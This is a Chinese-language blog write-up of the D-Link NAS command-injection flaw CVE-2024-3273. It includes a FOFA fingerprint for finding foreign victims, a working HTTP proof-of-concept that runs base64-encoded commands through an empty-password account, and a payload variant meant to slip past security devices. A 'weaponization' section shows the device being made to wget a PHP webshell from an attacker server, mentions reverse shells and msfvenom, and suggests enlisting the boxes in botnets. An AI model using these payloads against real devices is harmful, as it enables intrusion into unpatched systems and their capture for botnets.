写在前面
最近简单跟了几个IOT设备的漏洞,发现果然利用越简单的漏洞,危害越大,所以权限管理很重要
简单复现
先简单做个复现,fofa找个歪果倒霉蛋,指纹:_fid="hWN+yVVhLzKJaLkd/ITHpA==" && Country !="CN"
使用 GitHub - Chocapikk/CVE-2024-3273: D-Link NAS CVE-2024-3273 Exploit Tool 批量测试,或者Yakit发POC包进行测试,这里用网上传的POC做测试
GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)
Accept-Encoding: identity
Accept: */*
Connection: keep-alive
返回id的执行内容就算成功了,也就是system={{base64_enc(cmd)}},这样
简单分析
先找个固件,D-Link的NAS全线产品都不维护了,最新的也是2018年的固件,只有海外版,这里给个DNS-340L的固件地址,https://media.dlink.eu/support/products/dns/dns-340l/driver_software/dns-340l_fw_reva1_1-08_eu_multi_20180731.zip
binwalk 解包
和许多IOT小盒子设备类似,这里的固件解包需要系统支持IOT系统的文件格式,有这样的module,这里是squashfs,具体怎么弄可以自己找一下文章,squashfs可以直接binwalk解出来,ubifs得考虑挂载,比较麻烦
binwalk -Me DNS340.bin
找到出现问题的cgi-bin
根据远程目标靶机上返回的pwd值,确定目标运行位置是_/var/www/cgi-bin/nassharing.cgi ,就是_squashfs-root/cgi/nassharing.cgi ,squashfs是他应用系统的挂载点,这在IOT设备中很常见
分析cgi-bin
把他丢进ida,这里简单分析一下这个cgi程序
cgi程序的入口往往不是start ,而在cgiMain ,这个例子中的_cgiMain _可以理解为一个路由;笔者对IOT设备的理解可能还不够深,但多半碰到_cgi-bin _模式的动态程序入口都是cgiMain ,这里直接看cgiMain
这里可以看到他使用表单获取传入_cmd _和 _dbg _的值,并对cmd的值进行了判断,也就是我们POC中传入的"cmd=15"
这里直接跟进到15所对应的 _sub_19108 _可以看到整个程序的逻辑
大概捋一下这段代码的逻辑
- 先获取传入的_ user 和 passwd 的值,如果 user 和 passwd 均没有传值,则尝试接收 id1 和 id2 _来代替 _user 和 passwd ,这里应该是给的调试接口,这里 v2=user s=passwd _
- 获取传入的_ system 值,这里 v4=system _
- 调用_sub_1E1CC 对 user 和 passwd _进行一个判断,如果返回值是0,则结束函数并返回_sub128D0 ,反之返回的不是 0,则继续到 4
- 将v4使用_sub_1DD88 处理成 command_
- 调用_ system 执行 command_
- 返回调用的结果,结束这个函数
跟进下_ sub_1E1CC _这里其实猜测就是校验用户名和口令,但还是跟进去看一下
大概捋一下这段代码的逻辑
1、将_v4_指向dbg
2、每次4个字节,向后遍历,并将指针赋值给v5
3、当_a1_和_v5_相等时,继续向下运行
4、看一下_dbg_所在的指针
5、这后面是列出来的一些用户名,_ root 和 sshd 没有指针
6、如果在这个列表中,匹配到用户名,则返回1,如果没有返回0
7、这里可以看到,其中存在一个 sub1E324 ,他的头指针指向_ off_2BCF0 也就是说,这里也会调用 sub_1E324 进行判断,再看下 sub1E324
8、可以看到他其实和_ /etc/shadow _做了交互,和里面的用户名做了比对
9、也就是说,如果他是nobody, ftp, _squeezecenter 或者 /etc/shadow 中除了 root 和 sshd 的用户,则进行下一步密码校验 sub1E160
10、这里密码校验就是将用户输入的口令,猜测这里也需要base64解码后的数据,使用同一个盐进行哈希,然后和_ /etc/shadow _中的数据进行比对得出结果,返回的 dest 是哈希值,这里为了防溢出还将127强制置零了
11、如果用户名和密码匹配,则返回1,否则返回0,返回的值会输出到_ sub_128D0 _中,然后作为 xml 输出到前端
12、印证一下审计结果,去测试错误密码看一下,果然返回了一个 0
13、既然没有在cgi中找到messagebus,那就去_/etc/shadow_中找一下
14、 然后就看到了他的哈希是 $1$$qRPK7m23GJusamGpoGLby/ ,这是一个空值,和root相同,但是root在这个程序中没有指针,所以自然无法登入
15、然后就很自然地,利用空密码无校验,直接执行system命令
可以看到,他的命令使用_ sub_1DD88 _进行了b64解码,所以我们的payload需要先对要执行的命令进行编码
优化后的payload就是 cmd=15&id1=messagebus&id2=&system=aWQ= ,避免掉了_ username 和 passwd _这两个关键词,同样可以正常执行,这样可以绕过一些安全设备
武器化思路
他都已经烂成这样了,只给他远程命令执行肯定是不够的,这里简单思考了一下如何进行利用他进行武器化,很多报道里面都写了被上mirai蠕虫。他其实很简单,只需要把PHP马写进去就行了,把执行的 id 命令换成 wget
wget http://vps/wodema.php
然后访问 http://ip:port/cgi-bin/wodema.php 就可以了
这里有个存疑点,冰蝎和蚁剑马都不能成功被连接,但是上传PHP大马,主动连接则可以成功运行,使用php反弹shell也无法成功,能收到TCP包却没有弹shell出来,具体原因还不知道,但是运行msfvenom却可以
至于后续利用,和几年前的铁威马NAS利用思路相近,用作僵尸网络或者长期存活的肉鸡写crontab也可以
修复建议
D-Link已经摆烂了,更新估计是没有的,笔者也没有实践过,只是写下想到修复的可行方式
- 临时方案:使用漏洞或者_ UART Console 修改 messagebus _的口令
- 根治方案:在固件中将_ messagebus _的指针去掉
仍有疑点
- 为什么他过滤了空格,含空格的命令无法被执行,这是为什么?
- 蚁剑和冰蝎都无法正常连接,但手工发送payload却可以(包括冰蝎),这是为什么?